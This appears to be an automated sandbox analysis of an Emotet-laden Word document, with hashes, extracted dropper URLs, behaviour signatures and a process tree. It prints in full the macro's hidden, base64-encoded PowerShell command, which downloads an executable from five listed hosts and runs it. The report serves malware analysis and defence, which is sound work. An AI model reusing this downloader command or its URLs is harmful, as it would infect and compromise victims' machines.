Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    29/05/2024, 17:59

General

  • Target
    816394d70074e0abe9fd538275d9f466_JaffaCakes118.doc
  • Size 139KB
  • Sample240529-wkvjvsdc49
  • SHA256 e34fa966fd234ccbb5a94a53017bf89970e4e43a4fc5bfa3b7b8fe604db1f937
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://mobilizr.com/slagmite/vfao_7pkco0lob-674967226/

  • exe.dropper

    http://mmesupport.com/upload_docs/7qnxu0_on92iv5o8u-07294/

  • exe.dropper

    https://miv-survey.com/ws/xz8yftcm6t_bdxduwga3w-3/

  • exe.dropper

    http://moolo.pl/pub/NauVcJcbPH/

  • exe.dropper

    http://mstation.jp/2004christmas/ybgiax_c3bk83e7-33621494/

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\816394d70074e0abe9fd538275d9f466_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2184
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABTADMAMgAxADkANAAzAD0AJwBZADMANgA0ADEANgAzADgAJwA7ACQASwA4ADMAXwA2ADcAMQAxACAAPQAgACcAMQAzADUAJwA7ACQAaQA5ADAANAA2ADEANAA9ACcAVAA5ADAANgA0ADUAJwA7ACQAagAwADUAMwA3ADYANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASwA4ADMAXwA2ADcAMQAxACsAJwAuAGUAeABlACcAOwAkAG4AOABfADQANAA2ADUAPQAnAFMAMwA2ADQAMAAwADkANQAnADsAJAByADgAXwAzADIAMQAxADkAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBgAFQALgBXAGAAZQBiAEMATABJAGUAYABOAFQAOwAkAFoANwA2ADEAMQAzADgAMwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBiAGkAbABpAHoAcgAuAGMAbwBtAC8AcwBsAGEAZwBtAGkAdABlAC8AdgBmAGEAbwBfADcAcABrAGMAbwAwAGwAbwBiAC0ANgA3ADQAOQA2ADcAMgAyADYALwBAAGgAdAB0AHAAOgAvAC8AbQBtAGUAcwB1AHAAcABvAHIAdAAuAGMAbwBtAC8AdQBwAGwAbwBhAGQAXwBkAG8AYwBzAC8ANwBxAG4AeAB1ADAAXwBvAG4AOQAyAGkAdgA1AG8AOAB1AC0AMAA3ADIAOQA0AC8AQABoAHQAdABwAHMAOgAvAC8AbQBpAHYALQBzAHUAcgB2AGUAeQAuAGMAbwBtAC8AdwBzAC8AeAB6ADgAeQBmAHQAYwBtADYAdABfAGIAZAB4AGQAdQB3AGcAYQAzAHcALQAzAC8AQABoAHQAdABwADoALwAvAG0AbwBvAGwAbwAuAHAAbAAvAHAAdQBiAC8ATgBhAHUAVgBjAEoAYwBiAFAASAAvAEAAaAB0AHQAcAA6AC8ALwBtAHMAdABhAHQAaQBvAG4ALgBqAHAALwAyADAAMAA0AGMAaAByAGkAcwB0AG0AYQBzAC8AeQBiAGcAaQBhAHgAXwBjADMAYgBrADgAMwBlADcALQAzADMANgAyADEANAA5ADQALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAVwA5ADcAOABfADYAMgA9ACcAVgAxADEANwAyADgAXwA2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABhADcANwBfADkAMAA2ADgAIABpAG4AIAAkAFoANwA2ADEAMQAzADgAMwApAHsAdAByAHkAewAkAHIAOABfADMAMgAxADEAOQAuAEQATwB3AE4AbABvAGEARABGAEkAbABFACgAJABhADcANwBfADkAMAA2ADgALAAgACQAagAwADUAMwA3ADYANgApADsAJABPADMANQA4ADkAOAA9ACcAbQA2ADAAMQAxADYAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlAG0AJwApACAAJABqADAANQAzADcANgA2ACkALgBsAGUATgBHAFQAaAAgAC0AZwBlACAAMwA2ADAAMwA3ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAGoAMAA1ADMANwA2ADYAOwAkAEoAXwBfADkAMwAwADgAMwA9ACcAaQA1ADcAXwA1ADYAJwA7AGIAcgBlAGEAawA7ACQAVQAxADEAOQBfADAANQA9ACcAdAA1AF8ANwA5ADMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA0ADUAMQA0ADkANgAyAD0AJwBuADIANgA1ADcAMAAwACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2784

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          8FAFA74A.wmf

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8FAFA74A.wmf
          • Size 444B
          • SHA256 a43d6e336ff4c837d5329aab6a075bb0fae56b86efb562c4105d9061e154e632
          • MD5 SHA1 SHA512

          C875A0DC.wmf

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C875A0DC.wmf
          • Size 444B
          • SHA256 b87d7fef57fcbcc44e88df9d588011fa477a3fc146b75f98a05906e3634b2d28
          • MD5 SHA1 SHA512

          Normal.dotm

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
          • Size 20KB
          • SHA256 a321bd85cca4608166aada7de625ea24db6540f7d76c16a38709a41ab172f3e1
          • MD5 SHA1 SHA512 SSDEEP

          memory/2184-23-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-42-0x0000000006450000-0x0000000006550000-memory.dmp

          memory/2184-2-0x00000000715BD000-0x00000000715C8000-memory.dmp

          memory/2184-20-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-21-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-28-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-40-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-35-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-24-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-0-0x000000002FA71000-0x000000002FA72000-memory.dmp

          memory/2184-22-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-7-0x0000000006190000-0x0000000006290000-memory.dmp

          memory/2184-41-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-85-0x00000000715BD000-0x00000000715C8000-memory.dmp

          memory/2184-76-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/2184-58-0x00000000715BD000-0x00000000715C8000-memory.dmp

          memory/2184-59-0x0000000000590000-0x0000000000690000-memory.dmp

          memory/2184-60-0x0000000006450000-0x0000000006550000-memory.dmp

          memory/2184-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/2784-49-0x0000000002890000-0x0000000002898000-memory.dmp

          memory/2784-48-0x000000001B4F0000-0x000000001B7D2000-memory.dmp